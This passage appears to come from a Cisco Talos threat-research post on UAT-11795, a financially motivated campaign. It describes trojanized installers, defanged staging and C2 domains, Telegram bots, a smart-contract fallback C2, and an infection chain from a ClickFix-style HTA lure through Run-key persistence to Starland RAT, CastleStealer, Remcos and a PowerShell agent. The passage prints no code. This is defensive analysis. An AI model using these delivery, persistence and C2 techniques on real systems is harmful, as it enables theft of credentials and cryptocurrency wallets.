paraeid="{12d0fb38-38de-4e11-a7da-dc9dced0814c}{52}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW164907214 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSCustomFont, Aptos_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW164907214 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Cisco<span class="Apple-converted-space">&#xA0;</span></span><span class="NormalTextRun SCXW164907214 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">WebEx</span><span class="NormalTextRun SCXW164907214 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;"><span class="Apple-converted-space">&#xA0;</span>and Zoom</span></span><span class="EOP SCXW164907214 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSCustomFont, Aptos_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td class="LastCol SCXW164907214 BCX4" data-celllook="0" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: transparent; background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 208px;"><div class="TableCellContent SCXW164907214 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px 7px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW164907214 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW164907214 BCX4" paraid="1929588985" paraeid="{12d0fb38-38de-4e11-a7da-dc9dced0814c}{55}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW164907214 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSCustomFont, Aptos_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW164907214 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">enterprise video conferencing and collaboration platforms</span></span><span class="EOP SCXW164907214 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSCustomFont, Aptos_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td></tr><tr class="TableRow SCXW164907214 BCX4" role="row" aria-rowindex="4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; height: 19px;"><td class="FirstCol SCXW164907214 BCX4" role="rowheader" data-celllook="0" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: transparent; background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 278px;"><div class="TableCellContent SCXW164907214 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px 7px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW164907214 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW164907214 BCX4" paraid="200160957" paraeid="{12d0fb38-38de-4e11-a7da-dc9dced0814c}{59}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW164907214 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSCustomFont, Aptos_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW164907214 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">dbeaver-ce-windows-x86_64.exe</span></span><span class="EOP SCXW164907214 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSCustomFont, Aptos_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td data-celllook="0" class="SCXW164907214 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: transparent; background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 138px;"><div class="TableCellContent SCXW164907214 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px 7px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW164907214 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW164907214 BCX4" paraid="428081025" paraeid="{12d0fb38-38de-4e11-a7da-dc9dced0814c}{62}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW164907214 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSCustomFont, Aptos_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW164907214 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">DBeaver</span><span class="NormalTextRun SCXW164907214 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Community Edition</span></span><span class="EOP SCXW164907214 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSCustomFont, Aptos_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td class="LastCol SCXW164907214 BCX4" data-celllook="0" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: transparent; background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 208px;"><div class="TableCellContent SCXW164907214 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px 7px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW164907214 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW164907214 BCX4" paraid="754531526" paraeid="{12d0fb38-38de-4e11-a7da-dc9dced0814c}{65}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW164907214 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSCustomFont, Aptos_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW164907214 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">open-source database management and SQL client</span></span><span class="EOP SCXW164907214 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSCustomFont, Aptos_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td></tr><tr class="TableRow SCXW164907214 BCX4" role="row" aria-rowindex="5" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; height: 19px;"><td class="FirstCol LastRow SCXW164907214 BCX4" role="rowheader" data-celllook="0" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: transparent; background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 278px;"><div class="TableCellContent SCXW164907214 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px 7px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW164907214 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW164907214 BCX4" paraid="1422692154" paraeid="{12d0fb38-38de-4e11-a7da-dc9dced0814c}{69}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW164907214 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSCustomFont, Aptos_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW164907214 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">FaceitInstaller_x64.exe</span></span><span class="EOP SCXW164907214 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSCustomFont, Aptos_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td class="LastRow SCXW164907214 BCX4" data-celllook="0" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: transparent; background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 138px;"><div class="TableCellContent SCXW164907214 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px 7px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW164907214 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW164907214 BCX4" paraid="179243413" paraeid="{12d0fb38-38de-4e11-a7da-dc9dced0814c}{72}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW164907214 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSCustomFont, Aptos_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW164907214 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">FACEIT</span></span><span class="EOP SCXW164907214 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSCustomFont, Aptos_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td class="LastCol LastRow SCXW164907214 BCX4" data-celllook="0" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: transparent; background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 208px;"><div class="TableCellContent SCXW164907214 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px 7px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW164907214 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW164907214 BCX4" paraid="1461961856" paraeid="{12d0fb38-38de-4e11-a7da-dc9dced0814c}{75}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW164907214 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSCustomFont, Aptos_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW164907214 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">online gaming platform</span></span><span class="EOP SCXW164907214 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSCustomFont, Aptos_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td></tr></tbody></table>
<!--kg-card-end: html-->
<p></p><p>The breadth of&#xA0;trojanized&#xA0;software across developer tooling, IT administration utilities, enterprise collaboration platforms, and a consumer gaming application suggests the actor is&#xA0;operating&#xA0;an opportunistic, volume-driven distribution model targeting multiple victim profiles simultaneously,&#xA0;rather than a single vertical.&#xA0;</p><h2 id="threat-actor-infrastructure">Threat actor&#xA0;infrastructure&#xA0;</h2><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/Starland-RAT.jpg" class="kg-image" alt="UAT-11795 deploys novel Starland RAT and bespoke WLDR C2 implant in financially motivated campaign" loading="lazy" width="2000" height="1455" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/Starland-RAT.jpg 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/Starland-RAT.jpg 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1600/2026/07/Starland-RAT.jpg 1600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w2400/2026/07/Starland-RAT.jpg 2400w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure&#xA0;2.&#xA0;Cisco Umbrella domain resolution statistics for the malicious domains during the research window.</span></figcaption></figure><p>The threat actor in this campaign&#xA0;operates&#xA0;a distributed infrastructure across two functional categories, payload staging and persistent&#xA0;C2,&#xA0;with domain naming conventions chosen to blend into legitimate traffic categories.&#xA0;The staging domains,&#xA0;including&#xA0;&#x201C;eorthopaedics[.]com&#x201D;&#xA0;(likely a&#xA0;hijacked domain),&#xA0;&#x201C;web-devtools[.]com&#x201D;&#xA0;(resembles&#xA0;a developer tooling portal),&#xA0;and &#x201C;zynaris[.]io&#x201D;&#xA0;(resembles a&#xA0;technology start-up),&#xA0;with each domain serving a narrow functional role:&#xA0;&#xA0;</p><ul><li>&#x201C;eorthopaedics[.]com&#x201D;&#xA0;and &#x201C;sastoro[.]com&#x201D;&#xA0;hosts the PowerShell stage chain under&#xA0;&#x201C;/feed/&#x201D;&#xA0;and &#x201C;/alpha/&#x201D; paths&#xA0;indicating&#xA0;that&#xA0;the actor&#xA0;has added the malicious routing alongside the legitimate contents.&#xA0;</li><li>&#x201C;web-devtools[.]com&#x201D;&#xA0;serves raw shellcode payloads under the paths (&#x201C;/starlandfox&#x201D;,&#xA0;&#x201C;/x32remka&#x201D;,&#xA0;&#x201C;/dopfile&#x201D;) and a compressed archive.&#xA0;</li><li>&#x201C;zynaris[.]io&#x201D;&#xA0;hosts the potential&#xA0;ClickFix-delivered&#xA0;HTML application (HTA)&#xA0;stager and&#xA0;trojanised&#xA0;installer lures.&#xA0;</li></ul><p>The C2 infrastructure is similarly distributed, with&#xA0;&#x201C;eorthopaedics[.]com&#x201D;&#xA0;and&#xA0;&#x201C;sastoro[.]com&#x201D;&#xA0;both serving&#xA0;hardware-bound unique identifier&#xA0;(HWID)&#xA0;encrypted envelopes over HWID parameterized URL paths with&#xA0;&#x201C;eorthopaedics[.]com&#x201D;&#xA0;under&#xA0;&#x201C;/feed/&#x201D;&#xA0;and&#xA0;&#x201C;sastoro[.]com&#x201D;&#xA0;under&#xA0;&#x201C;/alpha/&#x201D;.&#xA0;This&#xA0;suggests that&#xA0;the two domains&#xA0;represent&#xA0;parallel C2 infrastructure used for the same campaign.&#xA0;</p><p>The domains&#xA0;&#x201C;windowscreenrepairnearme[.]com&#x201D;&#xA0;(which&#xA0;is&#xA0;also likely&#xA0;to be a hijacked&#xA0;domain)&#xA0;and&#xA0;&#x201C;aipythondevs[.]com&#x201D;&#xA0;serve&#xA0;as the&#xA0;primary&#xA0;C2 for the Starland Python RAT. All C2 URLs incorporate a victim hardware identifier derived from the C: drive&#xA0;volume serial number of the victim machine as the final URL path&#xA0;component, enabling the distinct C2 communication for each of the compromised victims. The actor in this campaign has also implemented C2 infrastructure resilience by using a Polygon smart contract&#xA0;(&#x201C;0x6ae382ed2154cc84c6672e4e908cd2c69c1b35ba&#x201D;),&#xA0;which stores an XOR-encrypted fallback C2 domain&#xA0;that is&#xA0;retrievable via a public JSON-RPC call.&#xA0;&#xA0;</p><p>Talos discovered that the actor controls two&#xA0;Telegram bots,&#xA0;&#x201C;8384531459&#x201D;&#xA0;(&#x201C;skuefq_bot&#x201D;) and&#xA0;&#x201C;7993597060&#x201D;&#xA0;(&#x201C;komandastuk_bot&#x201D;),&#xA0;used for receiving the implant&#x2019;s execution notification beacons,&#xA0;including messages with victim&#x2019;s machine fingerprints and cryptocurrency&#xA0;wallet inventories.&#xA0;</p><figure class="kg-card kg-gallery-card kg-width-wide kg-card-hascaption"><div class="kg-gallery-container"><div class="kg-gallery-row"><div class="kg-gallery-image"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/Screenshot-2026-06-08-at-16.26.13-1-.png" width="873" height="641" loading="lazy" alt="UAT-11795 deploys novel Starland RAT and bespoke WLDR C2 implant in financially motivated campaign" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/Screenshot-2026-06-08-at-16.26.13-1-.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/Screenshot-2026-06-08-at-16.26.13-1-.png 873w" sizes="(min-width: 720px) 720px"></div><div class="kg-gallery-image"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/08_53_55.png" width="478" height="343" loading="lazy" alt="UAT-11795 deploys novel Starland RAT and bespoke WLDR C2 implant in financially motivated campaign"></div></div></div><figcaption><p><span style="white-space: pre-wrap;">Figure&#xA0;3.&#xA0;Actor-controlled&#xA0;Telegram channel.&#xA0;</span></p></figcaption></figure><p>Talos&#x2019;&#xA0;research&#xA0;uncovered a&#xA0;private live&#xA0;Telegram channel&#xA0;called&#xA0;&#x201C;stuk&#xA0;komanda&#x201D;,&#xA0;controlled by the same threat actor.&#xA0;The&#xA0;stuk&#xA0;komanda&#xA0;channel was created on June 5,&#xA0;2025,&#xA0;and has three&#xA0;unknown subscribers. It does not&#xA0;contain&#xA0;any chat groups and appears to be structured like a C2. The channel lists messages in the name of file names that&#xA0;appear to be&#xA0;Windows-based binaries, highlighting that the threat actor&#xA0;has been&#xA0;active since at least June 2025.&#xA0;</p><figure class="kg-card kg-gallery-card kg-width-wide kg-card-hascaption"><div class="kg-gallery-container"><div class="kg-gallery-row"><div class="kg-gallery-image"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/Screenshot-2026-07-14-at-2.03.45---PM.png" width="587" height="827" loading="lazy" alt="UAT-11795 deploys novel Starland RAT and bespoke WLDR C2 implant in financially motivated campaign"></div><div class="kg-gallery-image"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/Screenshot-2026-07-14-at-2.04.21---PM.png" width="628" height="675" loading="lazy" alt="UAT-11795 deploys novel Starland RAT and bespoke WLDR C2 implant in financially motivated campaign" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/Screenshot-2026-07-14-at-2.04.21---PM.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/Screenshot-2026-07-14-at-2.04.21---PM.png 628w"></div></div></div><figcaption><p><span style="white-space: pre-wrap;">Figure&#xA0;4.&#xA0;Messages seen&#xA0;on&#xA0;the&#xA0;Telegram channel.&#xA0;</span></p></figcaption></figure><h2 id="multi-stage-attack-summary">Multi-stage attack summary&#xA0;</h2><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/Starland-RAT-02.jpg" class="kg-image" alt="UAT-11795 deploys novel Starland RAT and bespoke WLDR C2 implant in financially motivated campaign" loading="lazy" width="2000" height="2454" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/Starland-RAT-02.jpg 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/Starland-RAT-02.jpg 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1600/2026/07/Starland-RAT-02.jpg 1600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w2400/2026/07/Starland-RAT-02.jpg 2400w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure&#xA0;5.&#xA0;Infection chain summary diagram.&#xA0;</span></figcaption></figure><p>The threat actor&#xA0;executed&#xA0;a multistage campaign that involves deploying a weaponized HTA&#xA0;downloader via Microsoft HTML Application Host (&#x201C;mshta.exe&#x201D;) on the victim&apos;s machine,&#xA0;likely utilizing&#xA0;a&#xA0;ClickFix&#xA0;technique. The execution of the HTA file results in the downloading and execution of&#xA0;trojanized&#xA0;installers bundled with a malicious Python package, which sends the implant status of the installer to an attacker-controlled Telegram bot. The NSIS script associated with the&#xA0;trojanized&#xA0;installer is designed to execute the malicious byte-compiled Python code encapsulated within the installer file.&#xA0;</p><p>This&#xA0;initial&#xA0;byte-compiled Python code acts as a loader that decodes and executes an embedded Python RAT, which we are calling Starland RAT, in the victim&apos;s machine memory. Starland RAT offers a wide range of functionalities and has been specifically engineered to&#xA0;operate&#xA0;within the Windows environment. Its capabilities include&#xA0;defense evasion techniques,&#xA0;system reconnaissance,&#xA0;stealing&#xA0;browser data and cryptocurrency&#xA0;wallets, and&#xA0;a fallback C2 connection mechanism that includes a hardcoded C2 URL, as well as a&#xA0;Polygon&#xA0;Ethereum&#xA0;smart&#xA0;contract&#xA0;that serves&#xA0;as a backup. This connection allows it to interact with the smart contract through <code>Eth_call</code>, dynamically resolving the C2 domains. The RAT sends the reconnaissance information to the C2 to register the victim&apos;s machine and is proficient in receiving and executing intermediate payloads in several formats, including&#xA0;shellcode for 64-bit and 32-bit Windows environments, directly executing Windows shell commands, and downloading and executing malicious EXE, MSI, and DLL files.&#xA0;</p><p>Talos has&#xA0;observed&#xA0;that the threat actor has distinct infection chains for each type of intermediate payload that Starland RAT receives from the C2. In the case of an x64 shellcode intermediate payload, it implants&#xA0;CastleStealer&#xA0;as the final payload.&#xA0;CastleStealer&#xA0;is a .NET stealer that targets credentials, cryptocurrency&#xA0;wallets, Telegram data, and other browser data from the victim&apos;s machine. Similarly, the x32 shellcode implants a variant of the&#xA0;Remcos&#xA0;RAT.&#xA0;</p><p>Furthermore, Talos has&#xA0;observed&#xA0;that the threat actor executed a Windows&#xA0;shell command through Starland RAT as an intermediate payload to download and execute a PowerShell stager. This stager is&#xA0;associated with an undocumented PowerShell C2 framework, which we track as &#x201C;WLDR C2&#x201D;&#xA0;in alignment with&#xA0;the internal project designation used by the threat actor in the PowerShell scripts. The PowerShell stager is heavily obfuscated and is designed to decrypt an embedded next-stage PowerShell loader. The second-stage PowerShell loader script has capabilities for defense evasion, connects to the C2, downloads a JSON response, and processes this response to execute another embedded PowerShell payload, the WLDR agent, in the victim&apos;s machine memory. The WLDR agent is a bespoke PowerShell script that receives its C2 address through the PowerShell loader injected global variable at the time of execution. The WLDR agent employs capabilities including encrypted HTTP beaconing, comprehensive host reconnaissance, a robust reconnection protocol, and a modular task execution engine to further execute the malicious PowerShell scripts as directed by the threat actor from the WLDR C2 server.&#xA0;</p><h2 id="initial-vector">Initial&#xA0;vector&#xA0;</h2><p>The threat actor&#xA0;gains&#xA0;initial access to the victim machine&#xA0;potentially&#xA0;through a&#xA0;ClickFix&#xA0;social engineering technique that entices the user to execute a command, which&#xA0;then&#xA0;stealthily downloads and executes a remotely hosted weaponized HTA file. The HTA file runs an embedded VBScript that drops a Windows batch file into the user profile&#x2019;s application temporary folder, which&#xA0;contains&#xA0;instructions to first download and implant a&#xA0;trojanized&#xA0;installer from the attacker-controlled staging domain onto the victim machine.&#xA0;</p><p>Once the&#xA0;trojanized&#xA0;installer is executed, the batch file sends a notification beacon to an attacker-controlled Telegram bot,&#xA0;&#x201C;8384531459&#x201D;,&#xA0;to confirm successful execution to the threat actor. At the same time, the VBScript&#xA0;establishes&#xA0;persistence under&#xA0;&#x201C;HKCU\Software\Microsoft\Windows\CurrentVersion\Run&#x201D;&#xA0;with the generic value&#xA0;&#x201C;MyApp&#x201D;,&#xA0;pointing back to&#xA0;&#x201C;mshta.exe&#x201D;&#xA0;to execute the remotely hosted weaponized HTA file every time the victim logs in to the machine. Talos&#xA0;identified&#xA0;a Russian-language developer comment left in the VBScript (&#x201C;&#x414;&#x43E;&#x431;&#x430;&#x432;&#x43B;&#x435;&#x43D;&#x438;&#x435;&#xA0;&#x43A;&#x43E;&#x43C;&#x430;&#x43D;&#x434;&#x44B;&#xA0;&#x432;&#xA0;&#x430;&#x432;&#x442;&#x43E;&#x437;&#x430;&#x43F;&#x443;&#x441;&#x43A;&#xA0;&#x434;&#x43B;&#x44F;&#xA0;&#x442;&#x435;&#x43A;&#x443;&#x449;&#x435;&#x433;&#x43E;&#xA0;&#x43F;&#x43E;&#x43B;&#x44C;&#x437;&#x43E;&#x432;&#x430;&#x442;&#x435;&#x43B;&#x44F;&#x201D;),&#xA0;indicating&#xA0;that a Russian-speaking actor is conducting this campaign.&#xA0;</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/HTA.png" class="kg-image" alt="UAT-11795 deploys novel Starland RAT and bespoke WLDR C2 implant in financially motivated campaign" loading="lazy" width="2000" height="2133" 